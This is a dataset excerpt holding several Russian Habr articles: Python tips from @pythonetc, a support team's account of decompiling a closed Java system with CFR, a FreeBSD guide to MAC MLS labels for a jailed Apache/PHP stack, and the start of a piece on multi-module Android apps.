text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Подборка @pythonetc, апрель 2019
Это десятая подборка советов про Python и программирование из моего авторского канала @pythonetc.
[Предыдущие подборки](https://habr.com/ru/search/?q=%5Bpythonetc%5D&target_type=posts).
---
Хранение и отправка объектов по сети в виде байтов — это очень большая тема. Для этих целей в Python обычно используется ряд инструментов, давайте обсудим их достоинства и недостатки.
В качестве примера я попробую сериализовать объект Cities, который содержит объекты City, расположенные в определённом порядке. Можно воспользоваться четырьмя подходами:
1. JSON. Человекочитаемый, простой в использовании, но потребляет много памяти. То же самое справедливо в отношении форматов YAML и XML.
```
class City:
def to_dict(self):
return dict(
name=self._name,
country=self._country,
lon=self._lon,
lat=self._lat,
)
class Cities:
def __init__(self, cities):
self._cities = cities
def to_json(self):
return json.dumps([
c.to_dict() for c in self._cities
]).encode('utf8')
```
2. Pickle. Это нативный инструмент Python, настраиваемый, потребляет меньше памяти, чем JSON. Недостаток: для извлечения данных нужно использовать Python.
```
class Cities:
def pickle(self):
return pickle.dumps(self)
```
3. Protobuf (и прочие бинарные сериализаторы, например, msgpack). Потребляет ещё меньше памяти, может использоваться из любого языка программирования, но требует написания явной схемы:
```
syntax = "proto2";
message City {
required string name = 1;
required string country = 2;
required float lon = 3;
required float lat = 4;
}
message Cities {
repeated City cities = 1;
}
class City:
def to_protobuf(self):
result = city_pb2.City()
result.name = self._name
result.country = self._country
result.lon = self._lon
result.lat = self._lat
return result
class Cities:
def to_protobuf(self):
result = city_pb2.Cities()
result.cities.extend([
c.to_protobuf() for c in self._cities
])
return result
```
4. Вручную. Вы можете вручную упаковывать и распаковывать данные с помощью модуля `struct`. Так можно добиться минимально возможного потребления памяти, однако иногда лучше воспользоваться `protobuf`, поскольку он поддерживает версионирование и явные схемы.
```
class City:
def to_bytes(self):
name_encoded = self._name.encode('utf8')
name_length = len(name_encoded)
country_encoded = self._country.encode('utf8')
country_length = len(country_encoded)
return struct.pack(
'BsBsff',
name_length, name_encoded,
country_length, country_encoded,
self._lon, self._lat,
)
class Cities:
def to_bytes(self):
return b''.join(
c.to_bytes() for c in self._cities
)
```
---
Если аргумент функции имеет значение по умолчанию `None` и аннотирован как `T`, тогда `mypy` автоматически будет считать его `Optional[T]` (то есть `Union[T, None]`).
С другими типами это не работает, так что у вас не получится написать что-нибудь вроде `f(x: A = B())`. Также этот трюк не работает с присвоением переменной: `a: A = None` приведёт к ошибке.
```
def f(x: int = None):
reveal_type(x)
def g(y: int = 'x'):
reveal_type(y)
z: int = None
reveal_type(z)
$ mypy test.py
test.py:2: error: Revealed type is 'Union[builtins.int, None]'
test.py:4: error: Incompatible default for argument "y" (default has type "str", argument has type "int")
test.py:5: error: Revealed type is 'builtins.int'
test.py:7: error: Incompatible types in assignment (expression has type "None", variable has type "int")
test.py:8: error: Revealed type is 'builtins.int'
```
\*\*\*
В Python 3, при выходе из блока `except` переменные, хранящие пойманные исключения, удаляются из `locals()`, даже если они уже существовали:
```
>>> e = 2
>>> try:
... 1/0
... except Exception as e:
... pass
...
>>> e
Traceback (most recent call last):
File "", line 1, in
NameError: name 'e' is not defined
```
Если хотите сохранить ссылку на исключение, нужно использовать другую переменную:
```
>>> error = None
>>> try:
... 1/0
... except Exception as e:
... error = e
...
>>> error
ZeroDivisionError('division by zero',)
```
В Python 2, однако, этого не происходит.
---
Вы можете легко сделать свой собственный `pypi`-репозиторий. Он позволяет выпускать пакеты внутри вашего проекта и устанавливать их с помощью `pip`, как если бы они были обычными пакетами.
Важно отметить, что вам не нужно устанавливать какое-то особое ПО, вы можете использовать обычный HTTP-сервер. Вот как это работает у меня.
Возьмём примитивный пакет `pythonetc`.
```
setup.py:
from setuptools import setup, find_packages
setup(
name='pythonetc',
version='1.0',
packages=find_packages(),
)
pythonetc.py:
def ping():
return 'pong'
```
Сделаем его релиз в директорию `~/pypi`:
```
$ python setup.py sdist bdist_wheel
…
$ mv dist ~/pypi/pythonetc
```
И начнём предоставлять пакет с домена `pypi.pushtaev.ru` с помощью nginx:
```
$ cat /etc/nginx/sites-enabled/pypi
server {
listen 80;
server_name pypi.pushtaev.ru;
root /home/vadim/pypi;
index index.html index.htm index.nginx-debian.html;
location / {
autoindex on;
try_files $uri $uri/ =404;
}
}
```
Теперь пакет можно установить:
```
$ pip install -i http://pypi.pushtaev.ru --trusted-host pypi.pushtaev.ru pythonetc
…
Collecting pythonetc
Downloading http://pypi.pushtaev.ru/pythonetc/pythonetc-1.0-py3-none-any.whl
Installing collected packages: pythonetc
Successfully installed pythonetc-1.0
$ python
Python 3.7.0+ (heads/3.7:0964aac, Mar 29 2019, 00:40:55)
[GCC 4.9.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pythonetc
>>> pythonetc.ping()
'pong'
```
---
Часто нужно объявлять словарь с ключами, одноименными локальным переменным. Например:
```
dict(
context=context,
mode=mode,
action_type=action_type,
)
```
В ECMAScript для таких случаев даже есть специальная форма литерала `object` (называется Object Literal Property Value Shorthand):
```
> var a = 1;
< undefined
> var b = 2;
< undefined
> {a, b}
< {a: 1, b: 2}
```
Можно создать такой же помощник и в Python (увы, он вовсе не так хорош, как нотация в ECMAScript):
```
def shorthand_dict(lcls, names):
return {k: lcls[k] for k in names}
context = dict(user_id=42, user_ip='1.2.3.4')
mode = 'force'
action_type = 7
shorthand_dict(locals(), [
'context',
'mode',
'action_type',
])
```
Вы можете спросить, зачем передавать `locals()` в качестве параметра? А можно получать `locals` вызывающего объекта в вызываемом? Можно, но придётся воспользоваться модулем `inspect`:
```
import inspect
def shorthand_dict(names):
lcls = inspect.currentframe().f_back.f_locals
return {k: lcls[k] for k in names}
context = dict(user_id=42, user_ip='1.2.3.4')
mode = 'force'
action_type = 7
shorthand_dict([
'context',
'mode',
'action_type',
])
```
Можно пойти ещё дальше и применить такое решение —<https://github.com/alexmojaki/sorcery>:
```
from sorcery import dict_of
dict_of(context, mode, action_type)
``` | https://habr.com/ru/post/450862/ | null | ru | null |
# Reverse-инжиниринг “чёрного ящика”: зачем поддержке исходный код?
Всем привет! Мы команда сопровождения GlowByte, занимаемся решением багов в различных системах крупного бизнеса. Большая часть продуктов, которые мы поддерживаем, – это маркетинговые комплексы банков, телекома и ритейла. Такие системы работают с огромным количеством данных заказчика: сегментируют их для создания программ лояльности и политики персонализированных предложений, делают рассылку по разным каналам коммуникации, принимают поступающие из разных источников данные в реальном времени и тут же их обрабатывают. Часто ядро таких систем разработано определённым вендором, а на стороне заказчика внедрены кастомизированные процессы.
Под нагрузками бизнеса в системе могут возникать инциденты, причём как в самом ядре, так и в кастомизированных процессах. И если код кастомизированных процессов нам виден, то код ядра скрыт, что затрудняет самостоятельный разбор багов. [Ранее](https://habr.com/ru/company/glowbyte/blog/686836/) мы описали историю о том, как стали сопровождать систему, которая была похожа на “чёрный ящик”: баг случился в ядре системы, и мы не могли обратиться к разработчику и получить ответ. В этой статье хотим разобрать техническую сторону того, как мы выходили из ситуации и какой вид reverse-инжиниринга мы применили.
Немного предыстории о проектеОднажды мы пришли на проект, который ранее сопровождала команда N. Заказчик не имел доступа к кастомизированному коду, ничего не знал о технических деталях устройства своей системы и не имел документации. Вся экспертиза была сконцентрирована на этой команде N, которая в череде недавних событий покинула российский рынок, фактически бросив заказчика наедине с проблемами. Придя к нам, заказчик знал только о бизнес-логике системы и имел инфраструктурную карту. Нашей задачей было нарастить экспертизу по проекту и начать быстро и эффективно исправлять инциденты.
Первым делом мы получили доступ к серверам и провели ресёрч директорий, запущенных процессов и логов. Сюрпризом оказалось то, что от логов были только access.log, то есть разработчик намеренно скрывал всю логику работы ПО, не выводя ничего даже в логи. В процессах мы тоже не нашли хоть чего-то полезного, а структура директорий и содержимое дали понять, что мы имеем дело с микросервисами на Java.
В процессе анализа мы записали все пункты, которые вызвали вопросы, составили карту исследования. Что делают микросервисы и как они взаимодействуют в кластере? С какими данными и с какими источниками работают? Какой логикой руководствуются? Всё это предстояло узнать. Мы решили использовать метод “снежного кома”: всякий раз, когда появляется новая деталь, записываются 3-4 следующих вопроса или шага к проверкам. Оценивая такой подход спустя время, стало очевидно, что именно он не дал нам зайти в тупик.
Итак, получив пока не понятно как связанные JAR микросервисов, мы решили, что было бы неплохо посмотреть на их исходный код и понять хотя бы верхнеуровнево, на каких технологиях они работают.
Мы начали с байт-кода. Он описывает стек и работу с ним, содержится в class-файлах, которые, в свою очередь, находятся в обнаруженных нами JAR. Это набор инструкций, который, подобно ассемблеру, содержит указания на то, как что-то положить в кусок памяти, как забрать и как переместить. Мы открыли [документацию](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.1) о структуре байт-кода и на самых простых примерах изучили его работу. Чтобы объяснить, как именно мы это делали, приведём простой пример Java-программы, которую можно собрать в единственный class-файл, запустить и получить вывод строчки “Hello World!” в консоль.
**Исходный код:**
```
class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello, World!");
}
}
```
Если собрать этот код Javac HelloWorld.java, а затем к полученному байт-коду применить команду:
```
javap -c -p -v HelloWorld
```
мы получим следующие строки байт-кода в читабельном виде:
```
Classfile /Dev/demo/HelloWorld.class
Last modified 24 окт. 2022 г.; size 427 bytes
SHA-256 checksum e81c98f6672f78896481d924f3f4de59dd872fc595cd1dbb031b4ecd863ba11e
Compiled from "HelloWorld.java"
class HelloWorld
minor version: 0
major version: 63
flags: (0x0020) ACC_SUPER
this_class: #21 // HelloWorld
super_class: #2 // java/lang/Object
interfaces: 0, fields: 0, methods: 2, attributes: 1
Constant pool:
#1 = Methodref #2.#3 // java/lang/Object."":()V
#2 = Class #4 // java/lang/Object
#3 = NameAndType #5:#6 // "":()V
#4 = Utf8 java/lang/Object
#5 = Utf8
#6 = Utf8 ()V
#7 = Fieldref #8.#9 // java/lang/System.out:Ljava/io/PrintStream;
#8 = Class #10 // java/lang/System
#9 = NameAndType #11:#12 // out:Ljava/io/PrintStream;
#10 = Utf8 java/lang/System
#11 = Utf8 out
#12 = Utf8 Ljava/io/PrintStream;
#13 = String #14 // Hello, World!
#14 = Utf8 Hello, World!
#15 = Methodref #16.#17 // java/io/PrintStream.println:(Ljava/lang/String;)V
#16 = Class #18 // java/io/PrintStream
#17 = NameAndType #19:#20 // println:(Ljava/lang/String;)V
#18 = Utf8 java/io/PrintStream
#19 = Utf8 println
#20 = Utf8 (Ljava/lang/String;)V
#21 = Class #22 // HelloWorld
#22 = Utf8 HelloWorld
#23 = Utf8 Code
#24 = Utf8 LineNumberTable
#25 = Utf8 main
#26 = Utf8 ([Ljava/lang/String;)V
#27 = Utf8 SourceFile
#28 = Utf8 HelloWorld.java
{
HelloWorld();
descriptor: ()V
flags: (0x0000)
Code:
stack=1, locals=1, args\_size=1
0: aload\_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return
LineNumberTable:
line 1: 0
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: (0x0009) ACC\_PUBLIC, ACC\_STATIC
Code:
stack=2, locals=1, args\_size=1
0: getstatic #7 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #13 // String Hello, World!
5: invokevirtual #15 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
}
SourceFile: "HelloWorld.java"
```
Изначально идут метаданные байт-кода.
**Путь класса:** *Classfile /Dev/demo/HelloWorld.class*
**Дата последнего изменения и размер:** *Last modified 24 окт. 2022 г.; size 427 bytes*
**Чексумма:** *SHA-256 checksum e81c98f6672f78896481d924f3f4de59dd872fc595cd1dbb031b4ecd863ba11e*
**Название исходного файла с кодом Java:** *Compiled from "HelloWorld.java*"
**Версии класса:** *minor version: 0 major version: 63*
**ACC\_SUPER** – это указание на битовую маску для свойства модификатора.
Далее идёт описание используемых классов:
```
this_class: #21 // HelloWorld
super_class: #2 // java/lang/Object
```
Здесь **HelloWorld** – наш класс, а **Object** – это суперкласс, от которого наследуются все другие классы.
Далее идут счётчики интерфейсов, полей, методов и атрибутов в собранном классе:
```
interfaces: 0, fields: 0, methods: 2, attributes: 1
```
Далее – список констант, которые используются либо прямо в коде (заданы разработчиком), либо для поддержки этого кода. Теги всех Constant pool можно найти в [официальной документации](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.4-140).
Следом для каждого объекта идут строки инструкций. Общая структура выглядит следующим образом:
```
descriptor: …
flags: …
Code:
stack=1, locals=1, args_size=1
LineNumberTable:
```
**Descriptor** – это адрес на дескриптор объекта. Указывает на тип возвращаемого объекта и тип сигнатуры.
Например,
*([Ljava/lang/String;)V*
означает, что метод принимает на вход ссылку на класс ***java/lang/String*** и возвращает пустоту V (void).
В общем виде формула выглядит так:
```
( ParameterDescriptor* ) ReturnDescriptor
```
В поле **flags** указываются маски модификаторов. **Code** содержит набор инструкций со стеком.
**LineNumberTable** содержит перечисления вида:
```
line 4: 8,
```
где первое число – смещение в байт-коде, а второе – номер строки.
Разбирая таким образом строчку за строчкой, мы пришли к мнению, что это очень долгий и неэффективный ручной способ для такого количества кода, которое у нас есть. Поэтому решили поискать готовые инструменты, которые могут анализировать байт-код и выдавать результат в виде исходного кода на Java.
Погуглив, нашли несколько онлайн-декомпиляторов байт-кода Java, изучили логику их работы, обфускацию кода при сборке, версии и виды декомпиляторов. Попробовали множество их видов с GitHub. Они позволяли подгружать только по одному .class за раз и часто выдавали исходный код с высокой неточностью декомпиляции: были явные синтаксические ошибки, нечитабельные названия объектов (по всей видимости, код был ещё обфусцирован), отсутствовало форматирование кода и т. д. Словом, всё было не то. Идея с онлайн-декомпилятором не дала того результата, который мог бы дополнить общую картину по проекту.
У нас даже была мысль написать свой декомпилятор. Затем на очередной странице обзоров (которые мы уже стали читать по кругу) натолкнулись на CFR.
[CFR](https://github.com/leibnitz27/cfr) – это декомпилятор с открытым исходным кодом (а значит бесплатный), который активно развивается и в нашем случае выдаёт прекрасный результат.
Мы скачали CFR:
```
wget http://www.benf.org/other/cfr/cfr_0_115.jar
```
И затем декомпилировали все JAR-файлы командой вида:
```
java -jar cfr_0_115.jar javacontainer.jar --outputdir ./javacontainer.
```
В OutputDir появились красивые Java-файлы, дающие нам ключ к ответам на многие вопросы. Мы проанализировали библиотеки и фреймворки, которые используются в проекте, попытались понять общую логику и архитектуру, выявить паттерны построения проекта. Как мы упомянули выше, каждое наше действие сопровождалось записыванием вопросов, которые мы постепенно закрыли и задокументировали. У нас появилось техническое понимание внутренностей проекта. Этого отчасти хватило для того, чтобы понять, куда смотреть, если какой-то элемент не работает, но всё-таки было недостаточно, чтобы найти причину или исправить.
Сразу скажу, что среди команды сопровождения экспертиза по Java наклонена в пользу решения багов, а не разработки новых продуктов, сборок и поставок Java-кода. Исходя из этого, при декомпиляции мы преимущественно искали то, что нужно нам для решения какой-либо проблемы. Декомпилировав всё, мы обнаружили, что кода в этом проекте было настолько много, что изучить его комплексно одному человеку было не под силу, и мы пошли от обратного: начали изучать кусками по мере необходимости. Когда нам заводили заявку, мы уже по составленной логической схеме понимали, в какую часть микросервисов нужно смотреть, декомпилировали и описывали логику именно этой части. Такой подход значительно увеличил скорость решения инцидентов, привёл к ясности, почему случилась та или иная авария, но всё же оставил один открытый вопрос: как решать баг, если он является ошибкой в самом коде.
Первая идея – потратить кучу времени команды, разобрать весь код и затем собрать его обратно. Такой подход явно имел много рисков. Во-первых, декомпиляция всё ещё оставалась неточной, требовала внесения ручных правок (с последующим тестированием). Во-вторых, нужно было самостоятельно выяснять в огромном количестве кода, какие имеются зависимости, и решать проблемы сборки. В-третьих, мы работали над масштабным ритейл-проектом, в котором было критично важно, чтобы ПО не простаивало и чтобы наш новый подход не сделал хуже: риски были высокими, а сроков на тестирование почти не оставалось. Поэтому мы отмели идею с “разборкой” кода и начали работать в направлении поиска альтернативного пути. Обходное решение должно было быть таким, чтобы не требовалось вносить правки в код микросервисов.
В поисках универсальных обходных решений мы первым делом попробовали найти показатели, на которые можем ориентироваться: стали следить за метриками, выяснять, какие значения и каких показателей являются нормой, а какие нет. В системе мы нашли Zabbix, который содержал множество бесполезных метрик. Они перегружали систему, давали крайне мало полезной информации. Позднее мы провели работы по оптимизации дашбордов и собираемых данных, но на момент анализа пришлось работать с тем, что есть.
По Zabbix получилось оценить только метрики железа (CPU, RAM, нагрузку на диски и др.), а также отследить показатели в БД, логи и метрики внутри интерфейсов приложений. Это была очень скудная информация без глубины истории: она показывала метрику в моменте без анализа периодичности. Тем не менее так мы составили некоторое представление о том, как все должно быть.
Затем мы попробовали все виды перезагрузок (кстати, о том как правильно их выполнять, мы тоже узнали методом проб и ошибок): перезагрузки всех серверов сразу и по отдельности, выводы и вводы нод из балансировки, перезагрузки микросервисов в комплексе и по отдельности, перезагрузки отдельных компонент и т. д.
Также мы исследовали область интеграции приложения с данными. Если баг случается на уровне интеграции с процедурами в БД/с типами данных в таблицах/с самими данными, то легче поправить их. Смотря на ситуацию из будущего, оказалось, что это было полезно и многие правки на уровне данных (хотя они и были нетривиальными) помогли проекту.
На протяжении всей исследовательской работы и выстраивания фундамента для сопровождения полностью закрытого проекта, мы всё записывали. В конечном счёте наша работа стала похожа на детектив, в котором мы шаг за шагом создали технический портрет проекта.
**Оглядываясь назад**, подытожим шаги, которые мы предприняли. *Попробовали ручной просмотр байт-кода.* Это было непонятно, вместе с тем очень интересно, однако на нашей практике такой метод показал себя неэффективным.
*Мы применили декомпиляцию с помощью CFR.* Инструмент для нас оказался очень полезным и нужным: он дал знания о том, как работает система и чего от неё можно ожидать, а также ключи для поиска обходных решений инцидентов. В то же время декомпиляция в нашем случае оказалась применима только в качестве метода получения новых знаний: для обратной сборки проекта она не подошла в масштабах проекта.
*Разобрав историю нашего заказчика по частям, мы стали готовы сопровождать проект без помощи разработчика. У нас появилась собственная экспертиза, которой мы делимся с заказчиком.*
Сейчас наша команда продолжает также точечно декомпилировать части системы и делать новые открытия, но общий подход и инструменты уже выработаны. | https://habr.com/ru/post/698576/ | null | ru | null |
# Мандатная модель распределения прав в FreeBSD
Введение
--------
Для обеспечения дополнительного уровня безопасности сервера можно использовать [мандатную модель](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%BD%D0%B4%D0%B0%D1%82%D0%BD%D0%BE%D0%B5_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%BE%D0%BC) распределения доступа. В данной публикации будет описано каким образом можно запускать apache в jail с доступом только к тем компонентам, к которым необходим доступ для корректной работы apache и php. По данному принципу можно ограничивать не только apache, а также любой другой стэк.
Подготовка
----------
Данный метод подойдёт только для файловой системы ufs, в данном примере в основной системе будет использоваться zfs, а в jail соответственно ufs. Первым делом необходимо пересобрать ядро, при установке FreeBSD установите исходный код.
После того как система будет установлена, отредактируйте файл:
```
/usr/src/sys/amd64/conf/GENERIC
```
В данный файл необходимо добавить всего одну строку:
```
options MAC_MLS
```
Метка mls/high будет иметь доминирующее положение над меткой mls/low, приложения которые будут запущены с меткой mls/low не смогут получить доступ к файлам которые имею метку mls/high. Более подробно о всех доступных метка в системе FreeBSD можно прочитать в данном [руководстве](https://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/mac.html).
Далее перейдите в каталог /usr/src:
```
cd /usr/src
```
Для запуска сборки ядра выполните (в ключе j укажите количество ядер у процессора):
```
make -j 4 buildkernel KERNCONF=GENERIC
```
После того как ядро будет собрано, его необходимо установит:
```
make installkernel KERNCONF=GENERIC
```
После инсталляции ядра не торопитесь перезагружать систему, так-как необходимо перевести пользователей в логин класс, предварительно его настроив. Отредактируйте файл /etc/login.conf, в данном файле необходимо отредактировать логин класс default, приведите его к виду:
```
default:\
:passwd_format=sha512:\
:copyright=/etc/COPYRIGHT:\
:welcome=/etc/motd:\
:setenv=MAIL=/var/mail/$,BLOCKSIZE=K:\
:path=/sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin ~/bin:\
:nologin=/var/run/nologin:\
:cputime=unlimited:\
:datasize=unlimited:\
:stacksize=unlimited:\
:memorylocked=64K:\
:memoryuse=unlimited:\
:filesize=unlimited:\
:coredumpsize=unlimited:\
:openfiles=unlimited:\
:maxproc=unlimited:\
:sbsize=unlimited:\
:vmemoryuse=unlimited:\
:swapuse=unlimited:\
:pseudoterminals=unlimited:\
:kqueues=unlimited:\
:umtxp=unlimited:\
:priority=0:\
:ignoretime@:\
:umask=022:\
:label=mls/equal:
```
Строка :label=mls/equal, даст возможность пользователям которые состоят в данном классе получать доступ к файлам которые отмечены любой меткой (mls/low, mls/high). После данных манипуляций необходимо пересобрать базу данных и поместить пользователя root (а также тех которым это необходимо) в данный логин класс:
```
cap_mkdb /etc/login.conf
pw usermod root -L default
```
Для того что-бы политика касалась только файлов необходимо отредактировать файл /etc/mac.conf, оставьте в нём только одну строку:
```
default_labels file ?mls
```
Если нету желания пересобирать ядро, то можно использовать модуль:
```
echo 'mac_mls_load="YES"' >> /boot/loader.conf
```
После этого можно смело перезагрузить систему. Как создать [jail](https://habr.com/ru/post/342312/) можно прочитать в одной из моих публикаций. Но перед тем как создавать jail необходимо добавить жёсткий диск и создать на нём файловую систему и включить на нём multilabel, создайте файловую систему ufs2 с размером кластера 64kb:
```
newfs -O 2 -b 64kb /dev/ada1
tunefs -l enable /dev/ada1
```
После создания файловой системы и добавления multilabel необходимо добавить жесткий диск в /etc/fstab, добавьте строку в данный файл:
```
/dev/ada1 /jail ufs rw 0 1
```
В Mountpoint укажите каталог в который Вы будете монтировать жёсткий диск, в Pass обязательно укажите 1 (в какой последовательности будет произведена проверка данного жёсткого диска) — это необходимо, так-как файловая система ufs чувствительна к резким обрывам электро питания. После данных действий смонтируйте диск:
```
mount /dev/ada1 /jail
```
В данный каталог установите jail. После того как jail заработает, в нём необходимо проделать те же манипуляции, что и в основной системе с пользователями и файлами /etc/login.conf, /etc/mac.conf.
Настройка
---------
Перед тем как установить необходимые метки, рекомендую установить все необходимые пакеты, в моём случаи метки будут выставлены с учётом данных пакетов:
```
mod_php73-7.3.4_1 PHP Scripting Language
php73-7.3.4_1 PHP Scripting Language
php73-ctype-7.3.4_1 The ctype shared extension for php
php73-curl-7.3.4_1 The curl shared extension for php
php73-dom-7.3.4_1 The dom shared extension for php
php73-extensions-1.0 "meta-port" to install PHP extensions
php73-filter-7.3.4_1 The filter shared extension for php
php73-gd-7.3.4_1 The gd shared extension for php
php73-gettext-7.3.4_1 The gettext shared extension for php
php73-hash-7.3.4_1 The hash shared extension for php
php73-iconv-7.3.4_1 The iconv shared extension for php
php73-json-7.3.4_1 The json shared extension for php
php73-mysqli-7.3.4_1 The mysqli shared extension for php
php73-opcache-7.3.4_1 The opcache shared extension for php
php73-openssl-7.3.4_1 The openssl shared extension for php
php73-pdo-7.3.4_1 The pdo shared extension for php
php73-pdo_sqlite-7.3.4_1 The pdo_sqlite shared extension for php
php73-phar-7.3.4_1 The phar shared extension for php
php73-posix-7.3.4_1 The posix shared extension for php
php73-session-7.3.4_1 The session shared extension for php
php73-simplexml-7.3.4_1 The simplexml shared extension for php
php73-sqlite3-7.3.4_1 The sqlite3 shared extension for php
php73-tokenizer-7.3.4_1 The tokenizer shared extension for php
php73-xml-7.3.4_1 The xml shared extension for php
php73-xmlreader-7.3.4_1 The xmlreader shared extension for php
php73-xmlrpc-7.3.4_1 The xmlrpc shared extension for php
php73-xmlwriter-7.3.4_1 The xmlwriter shared extension for php
php73-xsl-7.3.4_1 The xsl shared extension for php
php73-zip-7.3.4_1 The zip shared extension for php
php73-zlib-7.3.4_1 The zlib shared extension for php
apache24-2.4.39
```
В данном примере метки будут выставлены с учётом зависимостей данных пакетов. Можно конечно поступить проще, для папки /usr/local/lib и файлов которые находятся в данном каталоге выставить метки mls/low и последующие установленные пакеты (например дополнительные расширения для php), смогут получит доступ к библиотекам в данном каталоге, но мне кажется лучше предоставить доступ только к тем файла которые необходимы. Остановите jail и установите на все файлы метки mls/high, для этого создайте файл с именем, например, mac и добавьте в него одну строку:
```
touche /mac
echo ‘.* mls/high’ > /mac
```
После этого выполните команду:
```
setfsmac -ef /mac /jail/*
```
После того как метки будут установлены, необходимо выставить метки mls/low для apache(выставление данных меток необходимо проделывать из запущенного jail), первым делом необходимо выяснить какие файлы необходимы для запуска apache:
```
ldd /usr/local/sbin/httpd
```
После выполнения данной команды на экране отобразятся зависимости, но выставить на данные файлы необходимые метки будет не достаточно, так-как каталоги в которых данные файлы находятся имеют метку mls/high, поэтому на данные каталоги также необходимо выставить метку mls/low. При запуске apache также выдаст файлы которые необходимы для его запуска, а для php эти зависимости можно узнать в логе httpd-error.log.
```
setfmac mls/low /
setfmac mls/low /usr/local/lib/libpcre.so.1
setfmac mls/low /usr/local/lib/libaprutil-1.so.0
setfmac mls/low /usr/local/lib/libdb-5.3.so.0
setfmac mls/low /usr/local/lib/libgdbm.so.6
setfmac mls/low /usr/local/lib/libexpat.so.1
setfmac mls/low /usr/local/lib/libapr-1.so.0
setfmac mls/low /lib/libcrypt.so.5
setfmac mls/low /lib/libthr.so.3
setfmac mls/low /lib/libc.so.7
setfmac mls/low /usr/local/lib/libintl.so.8
setfmac mls/low /var
setfmac mls/low /var/run
setfmac mls/low /var/log
setfmac mls/low /var/log/httpd-access.log
setfmac mls/low /var/log/httpd-error.log
setfmac mls/low /var/run/httpd.pid
setfmac mls/low /lib
setfmac mls/low /lib/libcrypt.so.5
setfmac mls/low /usr/local/lib/db5/libdb-5.3.so.0
setfmac mls/low /usr/local/lib/db5/libdb-5.3.so.0.0.0
setfmac mls/low /usr/local/lib/db5
setfmac mls/low /usr/local/lib
setfmac mls/low /libexec
setfmac mls/low /libexec/ld-elf.so.1
setfmac mls/low /dev
setfmac mls/low /dev/random
setfmac mls/low /usr/local/libexec
setfmac mls/low /usr/local/libexec/apache24
setfmac mls/low /usr/local/libexec/apache24/*
setfmac mls/low /etc/pwd.db
setfmac mls/low /etc/passwd
setfmac mls/low /etc/group
setfmac mls/low /etc/
setfmac mls/low /usr/local/etc
setfmac -R mls/low /usr/local/etc/apache24
setfmac mls/low /usr
setfmac mls/low /usr/local
setfmac mls/low /usr/local/sbin
setfmac mls/low /usr/local/sbin/*
setfmac -R mls/low /usr/local/etc/rc.d/
setfmac mls/low /usr/local/sbin/htcacheclean
setfmac mls/low /var/log/httpd-access.log
setfmac mls/low /var/log/httpd-error.log
setfmac -R mls/low /usr/local/www
setfmac mls/low /usr/lib
setfmac mls/low /tmp
setfmac -R mls/low /usr/local/lib/php
setfmac -R mls/low /usr/local/etc/php
setfmac mls/low /usr/local/etc/php.conf
setfmac mls/low /lib/libelf.so.2
setfmac mls/low /lib/libm.so.5
setfmac mls/low /usr/local/lib/libxml2.so.2
setfmac mls/low /lib/libz.so.6
setfmac mls/low /usr/lib/liblzma.so.5
setfmac mls/low /usr/local/lib/libiconv.so.2
setfmac mls/low /usr/lib/librt.so.1
setfmac mls/low /lib/libthr.so.3
setfmac mls/low /usr/local/lib/libpng16.so.16
setfmac mls/low /usr/lib/libbz2.so.4
setfmac mls/low /usr/local/lib/libargon2.so.0
setfmac mls/low /usr/local/lib/libpcre2-8.so.0
setfmac mls/low /usr/local/lib/libsqlite3.so.0
setfmac mls/low /usr/local/lib/libgd.so.6
setfmac mls/low /usr/local/lib/libjpeg.so.8
setfmac mls/low /usr/local/lib/libfreetype.so
setfmac mls/low /usr/local/lib/libfontconfig.so.1
setfmac mls/low /usr/local/lib/libtiff.so.5
setfmac mls/low /usr/local/lib/libwebp.so.7
setfmac mls/low /usr/local/lib/libjbig.so.2
setfmac mls/low /usr/lib/libssl.so.8
setfmac mls/low /lib/libcrypto.so.8
setfmac mls/low /usr/local/lib/libzip.so.5
setfmac mls/low /etc/resolv.conf
```
В данном списке выставляются метки mls/low на все файлы которые необходимы для корректной работы связки apache и php (для тех пакетов которые установлены в моём примере).
Последним штрихом будет настройка запуска jail на уровне mls/equal, а apache на уровне mls/low. Для запуска jail необходимо внести изменения в скрипт /etc/rc.d/jail, найдите в данном скрипте функцию jail\_start, переменную command приведите к виду:
```
command="setpmac mls/equal $jail_program"
```
Команда setpmac запускает исполняемый файл на необходимом мандатном уровне, в данном случаи mls/equal, чтобы иметь доступ к всем меткам. В apache необходимо отредактировать стартовый скрипт /usr/local/etc/rc.d/apache24. Внесите изменения в функцию apache24\_prestart:
```
apache24_prestart() {
apache24_checkfib
apache24_precmd
eval "setpmac mls/low" ${command} ${apache24_flags}
}
```
В [официальном](https://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/MAC-examplehttpd.html) руководстве указан другой пример, но мне не удалось его использовать так как постоянно выдавалось сообщение о невозможности использовать команду setpmac.
Вывод
-----
Данный способ распределения доступа добавит дополнительный уровень защищённости apache (хотя этот способ подойдёт к любому другому стэку), который помимо этого запускается в jail, в тоже время для администратора всё это будет происходить прозрачно и не заметно.
**Список источником которые мне помогли в написании данной публикации:**
<https://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/mac.html> | https://habr.com/ru/post/448642/ | null | ru | null |
# Опыт внедрения многомодульности в (еще) не разросшееся приложение (Часть 1)
Наше приложение переживает редизайн и добавление новых фич очень даже быстро, во многом, благодаря моему решению несколько недель назад внедрить многомодульность.
### Как родилась идея разбить приложение?
Каналы про разработку, на которые я подписан, постоянно публиковали статьи про многомодульность. Мы со знакомыми постоянно обсуждали эту идею. Все вокруг пестрило ей в моем инфополе, но я противился этой мысли.
